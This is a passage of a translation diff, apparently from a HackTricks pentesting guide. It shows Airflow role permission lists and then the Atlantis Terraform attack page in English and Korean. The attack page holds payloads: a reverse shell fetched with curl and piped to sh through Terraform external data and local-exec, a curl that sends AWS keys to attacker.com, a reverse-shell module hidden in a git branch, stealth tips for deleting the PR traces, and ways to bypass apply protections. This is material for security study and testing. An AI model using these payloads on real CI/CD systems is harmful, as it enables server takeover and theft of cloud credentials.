메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능, Admin 메뉴 접근, Configurations 메뉴 접근, Connections 메뉴 접근, Pools 메뉴 접근, Variables 메뉴 접근, XComs 메뉴 접근, XComs에서 삭제 가능, Task Reschedules에서 읽기 가능, Task Reschedules 메뉴 접근, Triggers에서 읽기 가능, Triggers 메뉴 접근, Passwords에서 읽기 가능, Passwords에서 편집 가능, List Users 메뉴 접근, Security 메뉴 접근, List Roles 메뉴 접근, User Stats Chart에서 읽기 가능, User's Statistics 메뉴 접근, Base Permissions 메뉴 접근, View Menus에서 읽기 가능, Views/Menus 메뉴 접근, Permission Views에서 읽기 가능, Views/Menus의 Permission 메뉴 접근, MenuApi에서 가져오기 가능, Providers 메뉴 접근, XComs에서 생성 가능]
- **Op**
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
\[Connections에서 삭제 가능, Connections에서 읽기 가능, Connections에서 편집 가능, Connections에서 생성 가능, DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, Pools에서 삭제 가능, Pools에서 읽기 가능, Pools에서 편집 가능, Pools에서 생성 가능, Providers에서 읽기 가능, Variables에서 삭제 가능, Variables에서 읽기 가능, Variables에서 편집 가능, Variables에서 생성 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Configurations에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능, Admin 메뉴 접근, Configurations 메뉴 접근, Connections 메뉴 접근, Pools 메뉴 접근, Variables 메뉴 접근, XComs 메뉴 접근, XComs에서 삭제 가능]
- **User**
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
\[DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능]
- **Viewer**
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
\[DAGs에서 읽기 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,109 +4,109 @@
### Basic Information
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
Atlantis는 기본적으로 git 서버의 Pull Requests에서 terraform을 실행하는 데 도움을 줍니다.
![](<../images/image (161).png>)
### Local Lab
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
2. Create a **personal token** (with repo access) of your **github** user
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
1. You can access the web page in 127.0.0.1:4141
1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases)에서 **atlantis 릴리스 페이지**로 가서 본인에게 맞는 버전을 **다운로드**합니다.
2. **github** 사용자에 대한 **개인 토큰**(repo 접근 권한 포함)을 생성합니다.
3. `./atlantis testdrive`를 실행하면 **atlantis와 대화할 수 있는 데모 repo**가 생성됩니다.
1. 127.0.0.1:4141에서 웹 페이지에 접근할 수 있습니다.
### Atlantis Access
#### Git Server Credentials
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
**Atlantis**는 **Github**, **Gitlab**, **Bitbucket** **Azure DevOps**와 같은 여러 git 호스트를 지원합니다.\
그러나 이러한 플랫폼의 repo에 접근하고 작업을 수행하려면 **특권 접근 권한이 부여되어야** 합니다(최소한 쓰기 권한).\
[**문서**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)에서는 Atlantis 전용 사용자 생성을 권장하지만, 일부 사람들은 개인 계정을 사용할 수 있습니다.
> [!WARNING]
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
> 어떤 경우든 공격자의 관점에서 **Atlantis 계정**은 **타겟으로 삼기 매우 흥미로운** 계정이 될 것입니다.
#### Webhooks
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
Atlantis는 선택적으로 [**Webhook 비밀**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)을 사용하여 Git 호스트에서 수신하는 **webhook**이 **정당한** 것인지 확인합니다.
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
이를 확인하는 한 가지 방법은 **Git 호스트의 IP에서만 요청을 허용**하는 것이지만, 더 쉬운 방법은 Webhook Secret을 사용하는 것입니다.
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
개인 github 또는 bitbucket 서버를 사용하지 않는 한 webhook 엔드포인트를 인터넷에 노출해야 합니다.
> [!WARNING]
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
> Atlantis는 **webhooks를 노출**하여 git 서버가 정보를 보낼 수 있도록 합니다. 공격자의 관점에서 **메시지를 보낼 수 있는지** 아는 것이 흥미로울 것입니다.
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
[문서에서:](https://www.runatlantis.io/docs/provider-credentials.html)
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
Atlantis는 서버 **Atlantis가 호스팅되는** 곳에서 `terraform plan``apply` 명령을 단순히 **실행하여** Terraform을 실행합니다. 로컬에서 Terraform을 실행할 때와 마찬가지로, Atlantis는 특정 공급자에 대한 자격 증명이 필요합니다.
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
Atlantis에 특정 공급자에 대한 [자격 증명](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)을 제공하는 방법은 다음과 같습니다:
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)에는 자격 증명에 대한 자체 메커니즘이 있습니다. 문서를 읽어보세요.
- 클라우드에서 Atlantis를 실행하는 경우, 많은 클라우드에서 클라우드 API 접근을 애플리케이션에 제공하는 방법이 있습니다. 예:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (검색어: "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- 많은 사용자가 Atlantis가 실행되는 곳에 환경 변수를 설정합니다. 예: `AWS_ACCESS_KEY`
- 다른 사용자는 Atlantis가 실행되는 곳에 필요한 구성 파일을 생성합니다. 예: `~/.aws/credentials`
- [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)를 사용하여 공급자 자격 증명을 얻습니다.
> [!WARNING]
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
> **Atlantis가 실행되는** **컨테이너**는 **AWS, GCP, Github...**와 같은 공급자에 대한 **특권 자격 증명**을 포함할 가능성이 높습니다.
#### Web Page
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
기본적으로 Atlantis는 **localhost의 포트 4141에서 웹 페이지를 실행**합니다. 이 페이지는 atlantis apply를 활성화/비활성화하고 repo의 계획 상태를 확인하고 잠금을 해제할 수 있도록 합니다(수정은 허용하지 않으므로 그리 유용하지는 않습니다).
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
인터넷에 노출되지 않을 가능성이 높지만, 기본적으로 **접근하는 데 자격 증명이 필요하지 않은 것처럼 보입니다**(필요한 경우 `atlantis`:`atlantis`**기본** 자격 증명입니다).
### Server Configuration
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
`atlantis server`에 대한 구성은 명령줄 플래그, 환경 변수, 구성 파일 또는 이 세 가지의 조합을 통해 지정할 수 있습니다.
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
- Atlantis 서버에서 지원하는 [**플래그 목록**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)을 확인할 수 있습니다.
- [**구성 옵션을 환경 변수로 변환하는 방법**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)을 확인할 수 있습니다.
Values are **chosen in this order**:
값은 **이 순서로 선택됩니다**:
1. Flags
2. Environment Variables
3. Config File
1. 플래그
2. 환경 변수
3. 구성 파일
> [!WARNING]
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
> 구성에서 **토큰 및 비밀번호**와 같은 흥미로운 값을 찾을 수 있습니다.
#### Repos Configuration
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
일부 구성은 **repo 관리 방식에 영향을 미칩니다**. 그러나 **각 repo가 서로 다른 설정을 요구할 수** 있으므로 각 repo를 지정하는 방법이 있습니다. 우선 순위는 다음과 같습니다:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
3. **Default** values
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) 파일. 이 파일은 atlantis가 repo를 어떻게 처리해야 하는지를 지정하는 데 사용될 수 있습니다. 그러나 기본적으로 일부 키는 이를 허용하는 플래그 없이는 여기에서 지정할 수 없습니다.
1. 아마도 `allowed_overrides` 또는 `allow_custom_workflows`와 같은 플래그에 의해 허용되어야 합니다.
2. [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` 플래그로 전달할 수 있으며, 각 repo에 대한 새로운 설정을 구성하는 yaml입니다(정규 표현식 지원).
3. **기본**
**PR Protections**
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
Atlantis**PR**이 다른 사람에 의해 **`승인`**되기를 원하거나(브랜치 보호에 설정되지 않은 경우에도) **`병합 가능`**(브랜치 보호 통과)하기를 원할 수 있도록 표시할 수 있습니다. 보안 관점에서 두 옵션을 모두 설정하는 것이 권장됩니다.
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
`allowed_overrides` True인 경우, 이러한 설정은 **`/atlantis.yml` 파일**에서 각 프로젝트에 대해 **덮어쓸 수 있습니다**.
**Scripts**
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
repo 구성은 **워크플로우가 실행되기 전** [**이전**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) [****](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_)에 실행할 **스크립트**를 **지정할 수 있습니다**.
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
**repo `/atlantis.yml`** 파일에서 이러한 스크립트를 **지정할 수 있는** 옵션은 없습니다.
**Workflow**
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
repo 구성(서버 측 구성)에서 [**새 기본 워크플로우**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)**지정하거나** [**새 사용자 정의 워크플로우**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**를 생성할 수 있습니다.** 또한 **어떤 repo**가 생성된 **새로운** 워크플로우에 **접근할 수 있는지** **지정할 수 있습니다**.\
그런 다음 각 repo의 **atlantis.yaml** 파일이 **사용할 워크플로우를 지정할 수 있도록** 허용할 수 있습니다.
> [!CAUTION]
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 repo의 **`atlantis.yaml`** 파일에서 워크플로우를 **지정할 수 있습니다**. 또한 **`allowed_overrides`**가 **사용될 워크플로우를 덮어쓰도록** 지정해야 할 수도 있습니다.\
> 이는 기본적으로 **해당 repo에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공**하게 됩니다.
>
> ```yaml
> # atlantis.yaml
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
**Conftest Policy Checking**
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
Atlantis**서버 측** [**conftest**](https://www.conftest.dev/) **정책**을 계획 출력에 대해 실행하는 것을 지원합니다. 이 단계를 사용하는 일반적인 사용 사례는 다음과 같습니다:
- Denying usage of a list of modules
- Asserting attributes of a resource at creation time
- Catching unintentional resource deletions
- Preventing security risks (ie. exposing secure ports to the public)
- 모듈 목록 사용 거부
- 생성 시 리소스의 속성 주장
- 의도하지 않은 리소스 삭제 포착
- 보안 위험 방지(예: 보안 포트를 공개에 노출)
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
구성 방법은 [**문서**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works)에서 확인할 수 있습니다.
### Atlantis Commands
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
[**문서에서**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) Atlantis를 실행하는 데 사용할 수 있는 옵션을 찾을 수 있습니다:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
### Attacks
### 공격
> [!WARNING]
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
You can fix it by running:
> 만약 공격 중에 이 **오류**를 발견하면: `Error: Error acquiring the state lock`
다음 명령어를 실행하여 수정할 수 있습니다:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - 새로운 PR에서 구성 수정
#### Atlantis plan RCE - Config modification in new PR
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis plan`**을 **실행할 수 있다면 (또는 자동으로 실행될 수도 있습니다)** **Atlantis 서버 내에서 RCE를 수행할 수 있습니다**.
다음과 같이 [**Atlantis가 외부 데이터 소스를 로드하도록**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 할 수 있습니다. `main.tf` 파일에 다음과 같은 페이로드를 넣으세요:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**은밀한 공격**
**Stealthier Attack**
You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
이 공격을 **더 은밀한 방법**으로 수행할 수 있습니다. 다음 제안을 따르세요:
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell이 포함된 **외부 리소스**를 **로드**할 수 있습니다:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)에서 rev shell 코드를 찾을 수 있습니다.
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- 외부 리소스에서 **ref** 기능을 사용하여 **레포의 브랜치에 있는 terraform rev shell 코드를 숨기세요**, 예를 들어: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **마스터에 PR을 생성하는 대신** **2개의 브랜치**(test1 및 test2)를 생성하고 **하나에서 다른 쪽으로 PR을 생성하세요**. 공격이 완료되면 **PR과 브랜치를 제거하세요**.
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
#### Atlantis plan Secrets Dump
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
#### Atlantis 계획 비밀 덤프
`atlantis plan` (`terraform plan`)을 실행하여 **terraform에서 사용되는 비밀을 덤프할 수 있습니다**. terraform 파일에 다음과 같은 내용을 넣으세요:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
#### Atlantis apply RCE - 새로운 PR에서 구성 수정
#### Atlantis apply RCE - Config modification in new PR
저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis apply`를 실행할 수 있다면 Atlantis 서버 내에서 RCE를 수행할 수 있습니다**.
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
그러나 일반적으로 몇 가지 보호 장치를 우회해야 합니다:
However, you will usually need to bypass some protections:
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
- **Mergeable**: 이 보호 장치가 Atlantis에 설정되어 있으면 **PR이 mergeable할 때만 `atlantis apply`를 실행할 수 있습니다** (즉, 브랜치 보호를 우회해야 함을 의미합니다).
- 잠재적인 [**브랜치 보호 우회**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)를 확인하세요.
- **Approved**: 이 보호 장치가 Atlantis에 설정되어 있으면 **다른 사용자가 PR을 승인해야 `atlantis apply`를 실행할 수 있습니다**.
- 기본적으로 [**Gitbot 토큰을 사용하여 이 보호 장치를 우회할 수 있습니다**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md).
악의적인 Terraform 파일에서 **`terraform apply`를 실행하는 것**은 [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 해야 합니다:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
이 공격을 **더 은밀한 방법**으로 수행하기 위해 **이전 기술의 제안**을 따르십시오.
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
#### Terraform Param Injection
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
#### Terraform 파라미터 주입
`atlantis plan` 또는 `atlantis apply`를 실행할 때 terraform이 내부에서 실행되며, atlantis에서 다음과 같은 주석을 통해 terraform에 명령을 전달할 수 있습니다:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
환경 변수를 전달할 수 있으며, 이는 일부 보호를 우회하는 데 도움이 될 수 있습니다. [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)에서 terraform env vars를 확인하세요.
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### 사용자 정의 워크플로우
#### Custom Workflow
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
This possibility was mentioned in a previous section:
`atlantis.yaml` 파일에 지정된 **악의적인 사용자 정의 빌드 명령**을 실행합니다. Atlantis는 `master`가 아닌 풀 요청 브랜치의 `atlantis.yaml` 파일을 사용합니다.\
이 가능성은 이전 섹션에서 언급되었습니다:
> [!CAUTION]
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 리포의 **`atlantis.yaml`** 파일에 워크플로우를 **지정**할 수 있습니다. 또한 **`allowed_overrides`**가 **워크플로우를 우회**하기 위해 **`workflow`**를 지정해야 할 수도 있습니다.
>
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
> 이는 기본적으로 **해당 리포에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공**합니다.
>
> ```yaml
> # atlantis.yaml
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
#### Bypass plan/apply protections
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
#### 계획/적용 보호 우회
[**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allowed_overrides``apply_requirements`로 구성되어 있으면, 리포가 **계획/적용 보호를 수정하여 우회할 수 있습니다**.
```yaml
repos:
- id: /.*/
apply_requirements: []
- id: /.*/
apply_requirements: []
```
#### PR Hijacking
